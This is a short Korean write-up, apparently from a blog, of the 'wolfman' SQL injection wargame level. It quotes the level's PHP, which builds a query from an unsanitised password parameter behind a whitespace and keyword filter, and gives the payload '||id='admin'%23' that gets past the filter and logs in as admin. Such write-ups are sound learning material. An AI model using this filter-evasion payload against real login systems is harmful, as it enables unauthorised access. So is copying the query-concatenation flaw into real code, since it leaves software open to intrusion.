반응형
이번 문제는 화이트 스페이스가 없을때 필터를 어떻게 할 것인가의 문제이다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
필터 구분에서 ws를 필터하고 있다. 또한
if($result['id'] == 'admin') solve("wolfman");
구문을 이용하여 id가 admin인지 확인한다.
즉 쿼리 문에서 id='guest' and pw'' 구문을 만들어서 앞에 문장을 거짓으로 만들고
||id='admin'%23을 만들면 클리어!
주의 or을 쓸경우 orid='admin'이 되므로 or과 id를 구분짓지 못한다 즉 or대신 ||또는 아스키코드 값으로 표시하면 된다.